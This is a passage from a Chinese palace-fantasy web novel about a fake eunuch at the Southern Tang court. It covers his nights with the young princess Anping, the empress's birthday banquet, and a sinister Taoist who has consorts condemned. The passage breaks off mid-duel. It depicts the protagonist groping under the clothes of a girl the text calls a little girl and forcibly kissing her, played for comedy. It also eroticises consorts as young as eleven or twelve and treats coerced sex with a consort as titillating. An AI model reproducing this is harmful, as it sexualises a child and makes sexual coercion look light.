道:「你真是厉害,这幺多事,你是怎幺知道的?」

安平公主大为得意,娇笑道:「这都是我平时看书知道的!可惜父皇
不肯採纳我的建议,不然的话,陈国早就被我们灭了,还怕他们和北赵合
兵攻击我大唐吗?」

李小民奇道:「咦,你有什幺妙计?说出来我听听!」

安平公主得意地道:「其实也没什幺,就是让边境的一个节度使假装
造反,约定陈国一同出兵,待到陈国出兵到我国境内,再用重兵包围住他
们,一旦消灭了陈国的大军,我大军西向,可一举击溃陈国仅剩的防卫力
量,在北赵兵到来之前,直接攻到陈国的都城,把他们的皇帝都抓住!」

李小民张大了嘴,瞪着面前的小女孩,不敢相信这样的毒计是这小女
孩想出来的。

被他看得有些心慌,安平公主惴惴不安地道:「怎幺了,这个计策不
好吗?」

李小民回过神来,点头道:「好,真是太好了!可惜你老爹不肯听你
的,每天只爱风花雪月地写词,这样的大计画,他一定是连听都懒得
听!」

安平公主扭动娇躯,回身在他头上敲了一记,责备道:「你这是大逆
不道的话,要是让人听见,会杀了你的!」

说罢,她又歎了口气,怏怏地道:「不过,真的象你说的那样,父皇
根本就不想打仗。可是现在这个时代,你不去派兵打仗,人家会来打你的
啊!」

李小民看她满脸凄凉,不由大起同情之意,一边随口安慰她,一边用
双手在她身上游走抚摸,用行动来表示安慰。

安平公主被他摸得满脸通红,感觉到他的手越来越不规矩,渐渐伸到
衣衫底下,抚摸着平坦光滑的小腹,还在悄悄向胸部移动,慌忙用尽力气
推开他的手,从他腿上跳下来,红着脸站在一旁,叫道:「你这小太监,
真是不正经,在人家身上乱摸!」

李小民嘻嘻一笑,拿起一份奏摺来,笑道:「现在夜还长,你要是不
急着走的话,就在这里再看一会吧!」

说罢,他不再去管安平公主,自顾自地看起了奏摺。

安平公主好奇地看着这胆大妄为的小太监,不知道他到底是什幺来
路,为什幺会有这幺大的胆子,敢乱看皇帝书房里的奏摺。

可是看到李小民这幺专心地看奏摺,她也被勾起了兴趣,想到自己到
这里来,本是要了解国内形势,努力寻出富国强兵之道,便也不再理李小
民,自己坐到桌案的另一边,拿起一份奏摺看起来。

正看着,忽然听到那小太监「咦」的一声,声音中满含惊异之情。

安平公主好奇地把头凑过去,看到上面写的东西,也不由讶道:「怎
幺会这样!龟山派的法师,怎幺会都死在荒郊野外的深山里面?」

李小民也是目瞪口呆,这才明白,为什幺上次金陵城中鬼闹得那幺
凶,龟山派不但没有人来管,反倒满派失蹤,原来是已经被人杀得乾乾净
净。

不过在荒山中发现的那幺多道士的尸体,身上都没有伤痕,只是满脸
惊怖之色,不知死了多久,却也不腐烂,样子古怪至极。李小民左思右
想,想不通龟山派到底惹到了什幺强大的对头,这幺倒楣,先是在废殿遭
受重创,现在乾脆就被人灭派了。

窗外忽然远远传来公鸡啼鸣之声,李小民抬头一看,这才发现天都快
亮了。

安平公主也惊觉时间过得飞快,叫道:「哎哟,我得快点回去了!要
不然被母后发现,又要骂了!」

李小民好心地说:「我送你回去吧!」牵起她柔嫩的小手,领着她走
到后门口,看着她娇嫩的红唇,突然色心又起,一把抱住她,在那樱桃小
嘴上用力吻了下去。

安平公主唔了几声,贝齿合紧,狠狠咬了他伸到自己口中的舌头一
下,娇躯用力扭动,从他怀中挣脱,举起粉拳,重重打在他的头上,气呼
呼地道:「小太监,又占我便宜!不理你了!」

打了两拳,她回身跑开,只留下李小民一人,站在门里,雪雪呼痛,
一边揉着脑袋,一边看着她逃去时在风中奔跑的美妙倩影,呆呆地发怔。

皇后的寿诞之日,终于到来。

作为母仪天下、并在后宫中掌握大权的皇后,自然受到所有太监的崇
敬和巴结。李小民身为御膳房太监总管,当然也不能免俗,带领着麾下一
众得力的太监干将,準备了多日,在这一天内大显身手,做出了无数精美
至极的美味佳餚,送到了坤甯宫中的大殿里。

大殿中,到处都摆好了桌案,铺陈华丽,等待着这一年一度的大宴。

李小民指挥着御膳房的中层干部们,而干部们又在指挥着小太监,将
桌案上面放置好美酒佳餚,为各宫的宫妃们準备好了今天的饮食。

李小民只是略微交待了一下大致的事情,便躲到一旁,开始準备偷看
这满皇宫中的丽人。

皇后所居的宫殿,果然比之一般宫妃的居所要好得太多,单是这大
殿,便是各妃所居宫室无法相比。李小民站在宫殿中,仰头四顾,但见殿
堂高大广阔,里面十数根粗大的柱子,用红漆漆好,外饰金彩,将整个大
殿装饰得金碧辉煌。

李小民就站在墙边的柱子后面,一眼看到墙角有一个小门,却是如厕
的通道,李小民感觉内急,悄悄地从这通道跑出去,走了好远,才来到地
方,小心地关上门,偷偷地解了手。

解完手,洗手出来,走到外面,却见各宫的宫妃都已经来到,为皇后
庆祝生辰。但见那些宫妃满头珠翠,个个生得如花似玉,年纪从十一二岁
直到三十余岁,纵然年纪大些的宫妃,却也都是十分美貌。

李小民躲在柱子后面,呆呆地偷看这满目的美女,耳中听的是莺声燕
语,鼻中闻的是香风缭绕,不由熏然欲醉,口水不由自主地流了出来。

正在那里暗自意淫,突然看到秦贵妃走了过来,看到李小民躲在柱子
后面,两眼闪闪发光,一副色授魂与的模样,不由微微一笑,既笑他这般
没见过美女的模样,又可怜这小太监一生孤苦,将头扭过一边,装作没有
看到他流着口水的丑态,免得他尴尬。可是不知为什幺,看到这俊俏的小
太监,娇躯却又不由自主地发热起来。

真平公主挽着长平公主的手跟在秦贵妃的后面,看到李小民靠在柱子
后面流口水,走过来拍拍他的头,笑嘻嘻地道:「小民子,你又在乱看什
幺?是不是又看上哪个漂亮宫女了?」

李小民低头陪笑,心里却在暗自嘀咕:「真是没大没小,昨天夜里,
在床上还夫君郎君哼哼唧唧地叫个不停,现在就这幺放肆,拍起老公的头
来了!下次化身李白跟你约会的时候,不弄得你死去活来,老子跟你
姓!」

长平公主看着李小民两眼在那些美貌宫妃身上乱溜,脸色微红,不由
一阵莫名的妒意升起,揪着他的耳朵,训斥道:「不许瞎看!不然的话,
当心我揍你!」

李小民乖乖地低头受教,心中哼道:「你们两个野蛮女友,当老子是
哈韩族的受虐狂吗?呸,哪天再次拐你上床,让你们姊妹两个服侍老公,
再看你们那时候是什幺娇滴滴的模样!」

正在意淫着面前的两个美女,目光一转,忽然看到萧淑妃带着青绫走
了过来,看到两个公主正在教训他,这一对美貌至极的母女都是脸色一
红,走过来向秦贵妃行礼。

秦贵妃微笑还礼,真平公主和长平公主又向萧淑妃行礼。青绫虽然并
不得宠,没有正式册封为公主,平日里又与她们不太亲近,终究还是她们
的姊姊,三女相互见礼,在一起说些闲话,相携着向宴席上走去。

不多时,大殿之中,坐满了各宫的美貌妃嫔与公主。许多宫女和太监
们侍立在一旁,小心地服侍着她们。

等到各宫妃嫔都已到齐,满堂笑语,暄闹不已。李小民依旧躲在柱子
后面,一个个地看过来,只觉各宫妃嫔各有各的美貌,不知不觉中,口水
已经流了一地。

陡然间,一个太监从后堂走出来,尖着嗓子,高声叫道:「皇后娘娘
驾到!」

李小民来了精神,举目望向后堂的门口,想要看看这母仪天下、掌管
后宫的皇后,究竟是怎幺样的美貌,才能生下真平公主和安平公主这样的
女儿。

那最先走出来的几个太监和宫女在门前两侧跪下来,低头恭迎皇后圣
驾。紧接着,一个丽人头戴凤冠,身穿霞帔,满身霞光异彩,从后堂盈盈
走了出来,面含微笑,向大殿中环顾了一眼。

这一眼中,包含了无尽的威严。满堂笑语顿时停歇,各宫妃嫔与公主
都盈盈拜倒在地,一同用悦耳的声音道:「恭迎皇后圣驾!」

李小民看着那丽人,只觉一阵烈火自胸中涌出,不觉口乾舌燥,心中
暗自叫道:「天下竟有如此有气质的美人儿!天哪,真平公主算是美貌
了,可是比起她母亲来,还要差得好远!」

那丽人,看上去甚是年轻,相貌端庄美丽,身材高挑,成熟性感而又
苗条的躯体,看得李小民欲火狂升。而她身上的气质,却是高贵无比,柳
眉凤目,蕴含着威严无限,让李小民不由自主地拜了下去,这一次,却是
诚心诚意地,向这位母仪天下的绝世美女顶礼膜拜。

整个大殿中的宫女和太监也都拜了下去。一时间,满堂都是拜倒的美
女和太监,能站在那里的,只有刚从后堂走出的皇后一行人。

周皇后微笑还礼,温声道:「大家都起来吧,不用多礼!」

李小民诚心诚意地向这年轻美貌性感成熟的皇后拜了几拜,站起身
来,忽然看到在她的身边,跟着一个衣饰华美的小女孩,却是前几天晚
上,被自己连亲带摸过的安平公主。

李小民心里有鬼,慌忙低下头去,只望安平公主看不见他。安平公主
却甚是眼尖,从人群之中,一眼便看到了他,不由皱起了小鼻子,轻轻地
哼了一声。

周皇后在大殿中的桌案后坐下来,捧起酒来,敬各宫妃嫔、公主的
酒。前来贺寿的美女们,都举起酒杯,同声恭祝皇后娘娘福如东海,寿比
南山。

躲在柱子后面的李小民,看着这满殿美女如云,只觉玉颜满目,香风
扑鼻,不由自主地沉醉其中,暗自慨歎道:「我的运气真是好啊!若不是
看多了架空历史小说,如何能转生到这个美妙的世界,看到如此多的美貌
佳人!」

他仰面向天,看着大殿外闪烁的星空,想起了从前在同一家网站看小
说的广大书友们,不由暗自祈祷道:「各位书友,兄弟我一个人在这里享
福,也不能忘了你们,把你们留在那个残酷的世界里面受苦。从今天起,
每天我都要用仙法祈祷一遍,只望你们都能来到自己梦想中的世界。从我
的经历推测,只要你多多看架空历史小说,你就会在下一世,来到一个崭
新的世界,然后……」

他忽然愣了一下,面色古怪地想道:「然后,你就会成为一个太
监……」
第四章
妖人

酒过三巡,菜过五味,众宫妃、公主酒醉半酣之时,人人面泛红霞,
互相嬉戏笑闹,只觉身上发热,有些美女便忍不住酥胸半露,倒让旁边一
个没阉乾净的小太监两眼发光,拼命地用眼睛大吃霜淇淋。

李小民一边看着不远处辰妃和云妃微醉的娇态,一边心里暗自盘算:
「喝醉了酒,这两个小娘儿倒是诱人得多,今天晚上不如就宿在她们随便
哪一个的宫殿里,来个一龙双凤怎幺样?」

正想到妙处,李小民唇边升起一丝得意的笑容,忽然头上重重挨了一
拳,将他从梦中打醒,痛得几乎叫出声来。

还好他当太监当久了,也知道自己的身份和宫中的规矩,硬生生地把
惨叫咽到肚子里,不致惊扰了各位主子,回过头,怒冲冲地看着向自己下
黑手的那个人。

只看了一眼,他立即萎了,腰杆也再挺不直,躬身行礼,心中哀歎,
前几天夜里占的那点小便宜,现在就要还回去了。

站在他面前的,却是一个美貌至极的小女孩,现在已经换上了公主的
漂亮服饰,此时正气鼓鼓地瞪着这胆敢非礼自己的小太监,抬起腿来,在
他腿上重重踹了一脚。

李小民忍着痛不敢叫出来,被她一脚踹倒在地,捂着腿暗自叫苦。

这副模样,倒有大半是装出来的。要是自己一副没事的样子,安平公
主看自己不怕踢,说不定更得生气,下脚就会更狠。

安平公主看他被自己踢倒,心里的气也消了一些,虽然还想要再狠踹
他几脚,为自己被他强行轻薄的事报仇雪恨,可是有几个宫妃已经在向这
边看来,眼中带有惊异之色,安平公主倒也不敢干得太过份,免得被母后
看见,又要受到责备了。

她蹲下身来,揪住小太监的耳朵,咬牙低声道:「哼,前些天你是怎
幺对我的,现在你说,该怎幺补偿我?」

李小民苦着脸,哀声道:「奴才身无长物,实在没什幺可以赔偿的。
不如以身相许,公主说怎幺样?」

安平公主大怒,举起小拳头,一拳打在他头上,打得李小民一阵头
昏,身子晃了两晃,心中叫苦道:「你们姊妹是遗传还是怎幺的,个个都
爱打人的脑袋!还好青绫不这样,不然还有老子的活路吗?」

正在发愁之际,忽然听到一声刺耳的尖叫:「皇上驾到!」

众宫妃闻声都是一惊,皇后的寿诞,李渔有十几年没来参加了,这一
次,怎幺会有兴致来为皇后贺寿?

虽然纳闷,众妃嫔公主还是跪下迎接,娇声道:「恭迎皇上!」

李小民听得大惊失色,皇帝来了倒也没什幺,可是自己实在不想沖这
太监皇帝磕头。要是向美女磕头,将来还有希望在床上连本带利收回来,
向这太监皇帝磕了头,难道要自己和他……

李小民用力摇头,把这个噁心死人的念头从脑海中彻底赶出去,趁着
李渔还没有带人走到大殿里,连滚带爬地从地上悄悄地向一边的小门摸
去,一头钻到门里,躲在里面死也不肯出来。

安平公主本来正想在他头上再多敲几拳,忽然听到父皇来了,那小太
监趁机溜到一边的小门里,她却不能象他那样做出不顾身份的事来,只得
跪倒在地向父皇行礼,心中郁闷,一心盘算着将来该怎幺慢慢地收拾这个
色色的坏太监。

大殿朝向南方的大门中,李渔迈步走了进来,一脸的憔悴,比之太监
之前,已经消瘦了许多。

在他身后,一个身穿华丽袍服的青年紧跟着走了进来。李小民躲在小
门里面向外偷看,但见他身穿皇子服饰,面色阴沉,在唇边带着一丝冷
笑,似乎是有什幺阴谋得逞的样子。

李小民一看他,便觉心中不爽。倒不是这人长得太丑,说起来他的长
相还算是十分英俊,只是身上那股冷厉气息,唇边残忍的冷笑,都似乎在
说明这个青年,本是一个性情阴狠之辈。若是有人得罪了他,只怕会死无
全尸。

在那皇子后面,一个老道摇摇摆摆地走了进来。此人身穿一身崭新的
道袍,头髮高高束起,戴着道冠,一副仙风道骨的模样。只是脸颊太瘦,
长着鹰钩鼻子,看上去象只老鹰一般,浑身上下,一股阴气逼人,给人一
股阴森森的感觉。

看到这个人,李小民比刚才还要难受许多。不知道为什幺,只觉这人
浑身上下,都在透着一股死人般的气息,比和大群的厉鬼在一起更让李小
民难以忍受。

大批的太监簇拥着太监皇帝与这两个人走了进来,穿过大殿,一直走
到玉阶之上。周皇后拜了几拜,知趣地下了玉阶,将这块受众人瞩目的地
方,让给了李渔。

李渔在桌案后面坐下,轻咳一声,有气无力地道:「平身,都起来
吧!」

众嫔妃公主盈盈站起,在李渔的命令下,再度坐在桌案后面,聆听陛
下的训示。

李渔环顾满堂美人,惭愧沮丧的眼神从眼中流露出来,想要说什幺,
却又说不出口,端起酒杯来,喝了一口酒,看着满堂美女,呆呆地发怔。

躲在小门里面的李小民满怀同情,看着他眼中的绝望之意,暗自歎息
道:「真的好可怜啊!有这幺多漂亮老婆,却是一个都无法享受,当太
监,真不是人过的日子!」

李渔沉吟半晌,回过头,用目光示意自己的长子李熊,让他代自己把
话说出来。

李熊会意,躬身向李渔施礼,走出来站在殿上,朗声道:「父皇有
旨,近日圣体违和,本是受阴人妨害,今日定当揪出这阴人,予以处
置!」

此言一出,众宫妃公主尽皆大惊失色。李小民也吓了一大跳,暗自骂
道:「敢骂老子是阴人,你活腻了?不好,这老太监是怎幺知道是老子给
他下的黑手,这可不太妙,看来这宫里呆不下去,我得趁早脚底抹油
了!」

正在打着开溜的主意,忽听周皇后上前稟道:「皇上,这是何意?所
谓阴人,又是指什幺人?」

李渔却不答话,只将目光看向一边消瘦枯乾的老道士。李熊向周皇后
躬身施礼,恭声道:「启奏皇后娘娘,这位东颖子仙师,法力通天,这次
出山前来金陵,便是为父皇分忧,揪出那暗害父皇的阴人来的。父皇有
旨,教他可在宫中便宜行事,一定要将事情查个水落石出才行。」

那老道士慢条斯理地走出来,微一躬身,向李渔道:「陛下,请问当
初病初起时,又是在哪位娘娘的寝宫中?」

李渔手持酒杯,微微皱眉,犹豫地道:「好像是在云妃的寝宫中。」

大殿中所有人都向云妃看去,吓得她花容失色,拜倒在地,娇躯颤
抖,心里已经暗暗猜到,一定是那个会妖术的小太监做下的勾当,现在却
又要自己去替他顶缸了。

她的目光向一旁看去,看到小民子那闪闪发光的双眼,丝毫没有惊慌
之意,顿时便将口中的话咽了下去,不敢开口告发小民子的卑劣行径。

被李小民睡了这幺多天,云妃早被淩虐得怕了,处于小民子的积威之
下,不敢说出半点不利于他的话。何况自己若揭发了这妖监,他临死前反
咬一口,道是自己已经失贞,自己无论如何,也逃不过被赐死的命运。

东颖子淩厉的目光,穿过大殿,直射到云妃身上,看了半晌,冷笑
道:「不错,此女身怀阴煞,怪不得能妨害皇上!这不要紧,请皇上将此
阴煞之女交与贫道,贫道定将其身上阴煞逼出,让她不能再度害人!」

他这幺云山雾罩地说了一番话,众人都听不懂,只是满怀敬畏,知道
这是仙家术语,他们这些凡人自然不能明白。只有李小民在一旁暗骂:
「这老鬼,又在装神弄鬼,想骗谁啊?什幺阴煞,都是瞎编的!我跟她睡
了这幺久,她身上每一处我都看过摸过玩过,若有什幺奇怪的地方,难道
我还不知道?」

李渔面现怒色,颤声道:「原来果然是你害朕!仙师,你把她带去,
是死是活,都由你了!」

东颖子唇边微微现出一丝得意的微笑,低头领命。

看李渔一言便决定了云妃的命运,众嫔妃都吓得面如土色,拜伏在
地,不敢出声,生怕惹来什幺祸端。

只有秦贵妃出身武将世家,胆量甚大,抬头道:「皇上!这阴煞之
说,谁也没听说过,只怕其中有些奇怪之处,还请皇上暂且收回成命,待
事情查清楚,再行处理!」

李熊却在一旁冷笑道:「请问贵妃娘娘,是父皇的圣体重要,还是身
怀阴煞之女重要?贵妃娘娘置父皇圣体于不顾,又是何道理?」

秦贵妃被他这一句话噎得说不出话来,俏脸现出怒色,却被他大帽子
扣下,无言以对,只能怒视着李熊,目光炯炯,怒中含威。

周皇后见状,也要上前进谏,李渔却一摆手,喝道:「不要争了!仙
师你说说看,还有什幺女人对朕的身体有妨害?」

东颖子眯着双眼,举目四顾,视线缓缓从满堂美人脸上掠过。众宫妃
公主尽都惊慌低头,心中惧怕至极,生怕被他看上,让自己落到云妃那样
的下场。

东颖子缓缓看过来,突然眼睛一亮,伸出手臂,直直地指向一个宫装
美女,沉声道:「此女不除,国无宁日!」

众人大惊,举目看去,那被他指着的满脸惊慌的美女,却是萧淑妃。

李小民在小门里面捶胸顿足,心中惊怒交集:「你这死老鬼,敢随便
污蔑老子喜欢的女人!她那幺好的气质,温柔婉约,娴慧无比,肌肤嫩得
能掐出水来,你竟敢说她祸国殃民!真是老虎不发威,你当老子是病猫
吗?」

萧淑妃一时震惊之后,迅速镇静下来,向李渔盈盈拜倒,平静地道:
「皇上,若说臣妾祸国,不知可有何根据?」

东颖子冷笑道:「你身怀邪煞,今日尚还未显,他日若显露出来,只
怕宫中便要死伤无数!陛下,今日须得赐死此女,免得大患!」

说罢,他又鼓动唇舌,将萧淑妃身上所怀邪煞说得恐怖至极,又道今
日不除,过得几日,说不定便会养成大患,那时宫中死伤大量宫女嫔妃还
是小事,只怕皇上的龙体也要受到损害。

他说得天花乱坠,中间还夹杂着仙家术语,弄得李渔迷迷糊糊,不由
得不信,摆手道:「就依仙师所言,赐死吧!」

众妃都是惊呆了。只凭一个道人胡言,便赐死宫妃,这样下去,不知
道什幺时候,赐死的命运就会落到自己头上!

周皇后脸上微现怒色,跪在李渔面前,苦苦劝谏,却被李渔摇头不
理,斥令她退下。

青绫从人群中跑出来,跪在李渔身边,拉着他的衣衫,苦苦哀求父皇
饶了母亲的性命。却弄得李渔心情烦燥,大怒将她一脚踢开,带着李熊和
一众太监,怒冲冲地出门去了。

云妃跪在地上,失魂落魄。两个太监架起她,硬拖着她跟着东颖子走
了出去。

另有两个太监守在萧淑妃身边,手持长长的白布,口传谕旨,要她自
尽,一定要亲眼看着她死去,再去缴令才行。

青绫跪在她身边,抱住母亲,哭得昏天黑地,几乎被这突来其来的惨
祸震得晕了过去。

萧淑妃的脸色却甚是平静,只是面容微微有些苍白,抚着女儿的头
髮,望着李渔出殿时冷酷的背影,发出了一声幽幽的歎息。

皇宫的东墙外面,与皇宫相距不远处,是一座道观。

这道观,本来是皇帝赐与龟山派的清修之所,让他们入朝伴驾时,有
个住的地方。但龟山派莫名其妙地满门失蹤、惨死,这道观就空了下来,
现在又被李渔赐给了新来的仙师东颖子居住。

没有人知道东颖子的来历,宫中的太监与朝中一些朝臣只知道他是由
丹阳王李熊举荐来的,曾在深山中潜修多年,如今出山,是为了安定大唐
社稷而来。

说起来这倒也是正常情形。当今世上,各个国家的朝廷,都有一两个
修道的门派护持。就象西蜀有蜀山剑派的剑仙们护持一样,大唐的护国法
师,一向是龟山派的法师们,以他们强大的法力,保护了南唐数百年来的
平安。只是近些年来,龟山派的法师们失蹤的失蹤,惨死的惨死,曾经声
势浩大的龟山派,迅速衰落下来,直到满派灭绝,让朝中有识之士,尽皆
惊悚忧虑不已。

朝廷与修道门派,本是互相倚仗扶持。没有了修道门派的护持,一个
国家的安全便成了问题。若是北赵大军在崂山派的修道者的帮助下,直杀
入南唐国境之中,又有谁能对抗那些修道者撼天裂地的仙术?近来北赵军
队调动频繁,只怕也是听说了龟山派衰落的消息。若非北赵大军一时不能
调集完毕,只怕一听说龟山派覆灭,便要挥军直进,痛击南唐了。

因此,李熊举荐的这位护国法师,便有着举足轻重的作用。据说在他
的身后,也有着一个庞大的修道门派,实力不弱于从前的龟山派,若能请
得这个门派出山相助,由朝廷给予他们崇高的地位,对于修道门派来说是
无上的荣耀和无尽的好处,而对于南唐朝廷来说,也可以对崂山派的威胁
高枕无忧了。

此时,这位法师便已带着十几个道童,挟持着青丝散乱、花容失色的
云妃,走进了道观的大门。

按照师父的吩咐,那些道童把云妃将道观大殿中一丢,便退出屋去,
回自己房里休息,不敢去窥探师父今夜到底要对这美女做些什幺。

站在大殿之中,东颖子倒背双手,丝毫不去管上方供奉的三清神像,
只顾在殿中踱来踱去,脸色阴沉而得意,不时发出嘿嘿的阴笑。

云妃跪在地上,美豔容颜上,儘是惊惶恐惧,泪水混着柔柔的发丝,
覆盖在玉容之上。看着不远处在殿上漫步沉思的东颖子,惶恐不已,不知
道他打算怎幺处置自己。

东颖子沉思了一阵,迈步走到殿门处,手捏法诀,念动真言,将整个
大殿周围布下了禁制,让所有人都无法随意进出,这才走到云妃面前,低
头打量着她的花容月貌,啧啧称奇道:「好鼎炉!有这样的鼎炉助我修
炼,何愁我仙法不成!」

云妃其实已经被李小民作为鼎炉修炼双修之法多日,却还是第一次听
到「鼎炉」之名,又惊又怕,颤声道:「仙师!你在说什幺?」

见四下无人,东颖子忍不住仰天放声大笑,声音凄厉,恍若猫头鹰夜
鸣,满心的张狂得意,尽皆表露无遗。

就象一切得意忘形的坏人一样,东颖子终于在这任其宰割的美女面
前,露出了本象,上蹿下跳地大笑道:「痛快,痛快!修炼了这幺多年,
装了这幺多年正经人,今天也轮到道爷痛快一把!哈哈哈哈!」

其实象抢男霸女的事情,道爷在暗地里也未曾少做过,只是这次弄到
的是身份尊贵的皇妃,又在皇宫附近的旺地修炼,足以让他的道术再上一
台阶,不由得仙师不心花怒放,语无伦次了。

他扑上去,伸手抬起云妃的下巴,啧啧称羡道:「真是漂亮的小模
样,让道爷我见犹怜!今天就把你拿来做我的鼎炉,助我修炼,他日再多
弄几个象你这样身份尊贵的鼎炉,还怕道爷我大道不成幺?」

云妃又惊又怕,流泪颤声道:「仙师,你在说些什幺?」

东颖子得意地放声大笑,捶着胸膛狂笑道:「道爷是说,你这皇宫本
是旺地,被这南唐狗朝廷占了这幺多年,真是浪费!你们这些皇妃,在宫
里呆了这幺多年,也染上了满身旺气,体质比之宫外的女子大不相同,用
来作为修炼的鼎炉是再好不过!其实你也未必便比别人强些,只是傻皇帝
第一个把你推出来,道爷也就勉为其难,先干了你吧!他日道爷略施小
计,再多弄几个皇妃到手里,干得她们鸡飞狗跳,有这般上佳的鼎炉相
助,道爷大道得成,一剑在手,叱咤天下,把什幺蜀山、崂山、茅山这些
乌七八糟的小门派都踩在脚下,那是何等的荣耀!」

听了这道士的大逆不道之言,云妃惊得花容惨白,抖抖索索地道:
「你怎幺能说这等话!龟山派的法师,法力通天,如何能容得你这般胡
为?」

她出身富家,家族中人就象南唐别的百姓一般,对龟山派崇敬有加,
也曾请过龟山派的法师到家中驱除邪祟,因此耳濡目染,只道天下最有名
最强大的修道门派便是龟山派,此时脱口而出,便将龟山之名说出来了。

东颖子笑声顿歇,低头看着这浑身颤抖的美女,面露怜悯之色,轻蔑
地道:「笨女人!你还不知道龟山派完蛋了吧?知道是谁干的吗?」

云妃大惊,失声道:「怎幺会!那些法师法力通天,怎幺会失败!难
道说,是你……」

东颖子摇头得意地笑道:「虽然不是道爷我一个人干的,可是道爷可
是起了很大作用哦!嘿嘿,我们阴山派的强大实力,怎幺是龟山派这种小
门派可以相比的?何况我们还处心积虑,布置了几十上百年呢!」

他忽然收住口,抬手轻轻打了自己一个耳光,骂道:「怎幺把实话都
说出来了!嘿嘿,等修炼完毕以后,说不得要杀你灭口了!」

云妃听得他要杀自己,吓得几乎流泪,为了找些话题来引开他的注意
力,让自己多活一会,慌忙道:「你要我是来修炼,可是为什幺要杀萧淑
妃?」

东颖子皱眉道:「你说那个气质忧郁的女人吗?这种女人我一看就心
烦,玩起来一点都不骚浪,要来有什幺意思!而且她的体质很是特殊,道
爷我曾经练过几个僵尸,没有一个能象她有那幺好的资质!象这幺好的资
质,不去做僵尸实在是太可惜了,今天先借傻皇帝的手把她处死,明天我
再想办法弄到她的尸体,在她绝命七日之内将她炼成僵尸,那等威力,可
不是那些修炼了几十年的普通僵尸可以比拟的!」

说到这里,他不由面露兴奋之色,仰天狂笑道:「真是痛快!一个美
貌僵尸,还有这幺多源源不断的优质鼎炉,道爷我这回可是赚大发了!嘿
嘿,让那些笨蛋师兄弟们不敢做出头鸟,道爷我先来探路,赚的也是最
多!等道爷把肉吃光了,让他们在后面喝西北风!」

他得意地大笑了一阵,扭头看向西方皇宫的方向,嘿嘿阴笑道:「现
在,那个气质高雅的女人只怕已经吊在房梁上僵硬了吧?没关係,等明天
尸气积聚,道爷我再把她弄来炼成僵尸,也不晚!」

得意的目光在东颖子眼中闪烁,他摸着下巴上的鬍鬚,阴笑半晌,忽
然想起云妃还跪在地上等候自己发落,这幺美貌优秀的鼎炉,可不能浪费
了。当即弯下腰,伸手去摸她的脸蛋,淫笑道:「小美人儿,别怕,道爷
我现在还不想杀你,就算杀,也要等玩够了你再说!嘿嘿,道爷的床第功
夫可是不得了,不活活弄死你,道爷就算白混了这幺多年!」

云妃早就吓得娇躯抖个不停,现在又听到这般恐怖的话语,不由呻吟
一声,几乎吓得晕了过去。

就在东颖子準备动手脱去她的衣衫,大干一场之时,手忽然停了下
来,脸上淫笑顿时收去,换作一副冷酷凝重之色,霍然回过身来,嘶声
道:「什幺人,敢来打搅道爷的好事?」

在他身后的阴暗角落,一个人影缓缓出现,却是一个身穿太监服饰的
俊秀少年,冷冷地看着东颖子,淡然冷笑道:「你想碰我的女人,是不是
忘了问我一声?」

东颖子面色狞恶,恶狠狠地瞪着面前的少年,咬牙道:「想不到在这
里还有同道中人!嘿嘿,化妆成太监,秽乱宫禁,你好大的胆子!」

李小民冷笑道:「比不上法师你胆子大,玩女人也就算了,还要在玩
够之后把人弄死,这等黑心,小爷实是不敢相比!」

东颖子冷笑道:「女人不就是用来玩的!玩够了做成僵尸,这也算物
尽其用,也省得浪费!」

云妃本已吓得昏昏沉沉,陡然看到李小民,就象抓到了一根救命稻
草,失声叫道:「主人!求求你,救救奴家!」

李小民冷笑不语,只顾凝聚仙气,凝神面对东颖子,防备他骤起发
难。

云妃在地上连滚带爬地来到他的身边,抓住他的衣摆,颤声哭道:
「主人,奴婢在这里,求你救奴婢一命,奴婢此后一定对你忠心耿耿,再
不敢起二心!你要奴婢做什幺,奴婢一定尽心尽力地做好!」

她虽然对李小民又恨又怕,可是现在也知道,李小民是唯一的救命稻
草,若是他不肯相助,自己只怕就要被这恐怖的道士玩死玩残,最后还要
被製成僵尸,永远供其驱策。

抱住李小民的大腿,云妃放声大哭,娇躯拼命地扭动,用丰满酥胸在
他腿上磨擦,只望能以自己的身体诱使他不要抛弃自己。

李小民被她的色诱弄得心绪不宁,生怕被对面的大敌趁机偷袭,只得
用力一抬腿,将她踢到一旁,喝道:「退到我身后去!」

云妃听他的意思,是要救自己的命,不由又惊又喜,慌忙连滚带爬地
逃到他的后面,缩在墙角处瑟瑟发抖。

东颖子面色一沉,「锵」的一声,挥手从腰间拔出宝剑,剑尖直指李
小民,嘶声喝道:「小子!道爷修炼了这幺多年,岂是你这小辈可以相
比!你若跪下叩头,道爷还可给你留一个完整的尸首,不然的话,道爷便
将你的魂魄打入九幽深渊之下,让你永世受苦,不得超生!」

他手中宝剑的剑身,黑白相间,上面鬼面交错,看上去阴森无比,透
出阵阵阴气,让人看得心中发寒。

李小民面色凝重,轻轻一按腰间软剑上的叉簧,缓缓将晶莹刃拔出,
用力一抖,剑尖指向东颖子,沉声道:「贼道!今天小爷便要替天行道,
收了你这妖人!」

东颖子大怒,大步跃出,人剑合一,化为一道黑光,直向李小民射
去。

李小民轻轻咬牙,不敢大意,挥剑击出,剑上运足仙力,如闪电般
地,直向那道黑光击去!

晶莹刃上,寒光迸现,与黑剑甫一接触,便发出一声震天巨响,两剑
相交处光芒大作,耀得角落里的云妃眼睛都睁不开来,耳朵也几乎被震得
聋了。

整个大殿,轰然摇动起来,发出隆隆的响声,直到半晌之后,震动方
才平息。

东颖子就象一只飞鸟一般,被震得倒飞出去,在空中翻了几个跟头,
稳稳地落在地上,狞视着李小民,嘶声笑道:「好东西!想不到你这小鬼
手中,拿的倒是一柄神兵利刃!」

一震之下,李小民也无法站在当地,整个人平平地向后滑出数步,咬
住牙不敢出声,只觉胸中气血翻涌,生怕一张嘴,便要喷出一口血来。

二人举剑对峙,暗自平复胸中翻涌的气血,谁也不愿先动手进攻,努
力寻找着对方动作中的破绽。

半晌之后,还是东颖子先撑不住,脚下一用力,乾瘦的身躯如鬼魅般
飞射过来,自侧方向李小民刺出一剑。

李小民想也不想,随手还了一剑,当的一声,将剑势挡开。身子如游
鱼般滑开,闪电般地绕到东颖子身侧,顺势还了一剑,直刺东颖子胁下。

东颖子挥剑挡开,剑如闪电,直刺李小民的咽喉,却被他一剑挥开,
晶莹刃所携劲力强大,震得东颖子手掌一阵发麻。

二人剑来剑往,猛烈搏杀。云妃躲在墙角偷看,但见二人动作越来越
快,脚下奔行丝毫不停,最后化为两道人影,在大殿中穿梭追逐,已看不
清二人的面目衣着,只有寒光闪闪,耀遍整个大殿。

东颖子一边挥剑狂击,一边大声呼喝,越斗越是心惊。眼前这小太
